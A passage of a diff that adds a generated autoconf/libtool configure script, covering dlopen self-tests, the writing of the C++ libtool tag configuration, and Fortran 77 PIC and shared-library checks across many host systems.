(self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self" >&6; } + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + { echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5 +echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6; } +if test "${lt_cv_dlopen_self_static+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6; } + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_CXX \ + CC_CXX \ + LD_CXX \ + lt_prog_compiler_wl_CXX \ + lt_prog_compiler_pic_CXX \ + lt_prog_compiler_static_CXX \ + lt_prog_compiler_no_builtin_flag_CXX \ + export_dynamic_flag_spec_CXX \ + thread_safe_flag_spec_CXX \ + whole_archive_flag_spec_CXX \ + enable_shared_with_static_runtimes_CXX \ + old_archive_cmds_CXX \ + old_archive_from_new_cmds_CXX \ + predep_objects_CXX \ + postdep_objects_CXX \ + predeps_CXX \ + postdeps_CXX \ + compiler_lib_search_path_CXX \ + archive_cmds_CXX \ + archive_expsym_cmds_CXX \ + postinstall_cmds_CXX \ + postuninstall_cmds_CXX \ + old_archive_from_expsyms_cmds_CXX \ + allow_undefined_flag_CXX \ + no_undefined_flag_CXX \ + export_symbols_cmds_CXX \ + hardcode_libdir_flag_spec_CXX \ + hardcode_libdir_flag_spec_ld_CXX \ + hardcode_libdir_separator_CXX \ + hardcode_automatic_CXX \ + module_cmds_CXX \ + module_expsym_cmds_CXX \ + lt_cv_prog_compiler_c_o_CXX \ + exclude_expsyms_CXX \ + include_expsyms_CXX; do + + case $var in + old_archive_cmds_CXX | \ + old_archive_from_new_cmds_CXX | \ + archive_cmds_CXX | \ + archive_expsym_cmds_CXX | \ + module_cmds_CXX | \ + module_expsym_cmds_CXX | \ + old_archive_from_expsyms_cmds_CXX | \ + export_symbols_cmds_CXX | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_CXX + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_CXX + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_CXX + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_CXX + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_CXX + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_CXX + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_CXX +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_CXX + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_CXX + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_CXX + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_CXX + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_CXX + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_CXX +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_CXX + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_CXX + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_CXX +archive_expsym_cmds=$lt_archive_expsym_cmds_CXX +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_CXX +module_expsym_cmds=$lt_module_expsym_cmds_CXX + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_CXX + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_CXX + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_CXX + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_CXX + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_CXX + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_CXX + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_CXX + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_CXX + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_CXX + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_CXX + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_CXX + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_CXX + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_CXX + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_CXX + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_CXX + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_CXX + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_CXX" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_CXX + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_CXX + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_CXX + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_CXX + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC=$lt_save_CC +LDCXX=$LD +LD=$lt_save_LD +GCC=$lt_save_GCC +with_gnu_ldcxx=$with_gnu_ld +with_gnu_ld=$lt_save_with_gnu_ld +lt_cv_path_LDCXX=$lt_cv_path_LD +lt_cv_path_LD=$lt_save_path_LD +lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld +lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld + + else + tagname="" + fi + ;; + + F77) + if test -n "$F77" && test "X$F77" != "Xno"; then + +ac_ext=f +ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5' +ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_f77_compiler_gnu + + +archive_cmds_need_lc_F77=no +allow_undefined_flag_F77= +always_export_symbols_F77=no +archive_expsym_cmds_F77= +export_dynamic_flag_spec_F77= +hardcode_direct_F77=no +hardcode_libdir_flag_spec_F77= +hardcode_libdir_flag_spec_ld_F77= +hardcode_libdir_separator_F77= +hardcode_minus_L_F77=no +hardcode_automatic_F77=no +module_cmds_F77= +module_expsym_cmds_F77= +link_all_deplibs_F77=unknown +old_archive_cmds_F77=$old_archive_cmds +no_undefined_flag_F77= +whole_archive_flag_spec_F77= +enable_shared_with_static_runtimes_F77=no + +# Source file extension for f77 test sources. +ac_ext=f + +# Object file extension for compiled f77 test sources. +objext=o +objext_F77=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code=" subroutine t\n return\n end\n" + +# Code to be used in simple link tests +lt_simple_link_test_code=" program t\n end\n" + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${F77-"f77"} +compiler=$CC +compiler_F77=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +{ echo "$as_me:$LINENO: checking if libtool supports shared libraries" >&5 +echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C" >&6; } +{ echo "$as_me:$LINENO: result: $can_build_shared" >&5 +echo "${ECHO_T}$can_build_shared" >&6; } + +{ echo "$as_me:$LINENO: checking whether to build shared libraries" >&5 +echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >&6; } +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; +aix4* | aix5*) + test "$enable_shared" = yes && enable_static=no + ;; +esac +{ echo "$as_me:$LINENO: result: $enable_shared" >&5 +echo "${ECHO_T}$enable_shared" >&6; } + +{ echo "$as_me:$LINENO: checking whether to build static libraries" >&5 +echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >&6; } +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +{ echo "$as_me:$LINENO: result: $enable_static" >&5 +echo "${ECHO_T}$enable_static" >&6; } + +test "$ld_shlibs_F77" = no && can_build_shared=no + +GCC_F77="$G77" +LD_F77="$LD" + +lt_prog_compiler_wl_F77= +lt_prog_compiler_pic_F77= +lt_prog_compiler_static_F77= + +{ echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6; } + + if test "$GCC" = yes; then + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_static_F77='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_F77='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic_F77='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_F77='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic_F77='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared_F77=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic_F77=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_F77='-fPIC' + ;; + esac + ;; + + *) + lt_prog_compiler_pic_F77='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl_F77='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_F77='-Bstatic' + else + lt_prog_compiler_static_F77='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic_F77='-qnocommon' + lt_prog_compiler_wl_F77='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_F77='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl_F77='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_F77='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static_F77='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl_F77='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static_F77='-non_shared' + ;; + + newsos6) + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-static' + ;; + ccc*) + lt_prog_compiler_wl_F77='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static_F77='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl_F77='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static_F77='-non_shared' + ;; + + sco3.2v5*) + lt_prog_compiler_pic_F77='-Kpic' + lt_prog_compiler_static_F77='-dn' + ;; + + solaris*) + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + sunos4*) + lt_prog_compiler_wl_F77='-Qoption ld ' + lt_prog_compiler_pic_F77='-PIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic_F77='-Kconform_pic' + lt_prog_compiler_static_F77='-Bstatic' + fi + ;; + + uts4*) + lt_prog_compiler_pic_F77='-pic' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared_F77=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_F77" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_F77" >&6; } + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic_F77"; then + +{ echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works... $ECHO_C" >&6; } +if test "${lt_prog_compiler_pic_works_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works_F77=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic_F77" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:14274: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:14278: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works_F77=yes + fi + fi + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_F77" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works_F77" >&6; } + +if test x"$lt_prog_compiler_pic_works_F77" = xyes; then + case $lt_prog_compiler_pic_F77 in + "" | " "*) ;; + *) lt_prog_compiler_pic_F77=" $lt_prog_compiler_pic_F77" ;; + esac +else + lt_prog_compiler_pic_F77= + lt_prog_compiler_can_build_shared_F77=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic_F77= + ;; + *) + lt_prog_compiler_pic_F77="$lt_prog_compiler_pic_F77" + ;; +esac + +{ echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6; } +if test "${lt_cv_prog_compiler_c_o_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o_F77=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:14334: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:14338: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o_F77=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_F77" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o_F77" >&6; } + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o_F77" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + { echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6; } + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + { echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6; } + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +{ echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6; } + + runpath_var= + allow_undefined_flag_F77= + enable_shared_with_static_runtimes_F77=no + archive_cmds_F77= + archive_expsym_cmds_F77= + old_archive_From_new_cmds_F77= + old_archive_from_expsyms_cmds_F77= + export_dynamic_flag_spec_F77= + whole_archive_flag_spec_F77= + thread_safe_flag_spec_F77= + hardcode_libdir_flag_spec_F77= + hardcode_libdir_flag_spec_ld_F77= + hardcode_libdir_separator_F77= + hardcode_direct_F77=no + hardcode_minus_L_F77=no + hardcode_shlibpath_var_F77=unsupported + link_all_deplibs_F77=unknown + hardcode_automatic_F77=no + module_cmds_F77= + module_expsym_cmds_F77= + always_export_symbols_F77=no + export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be 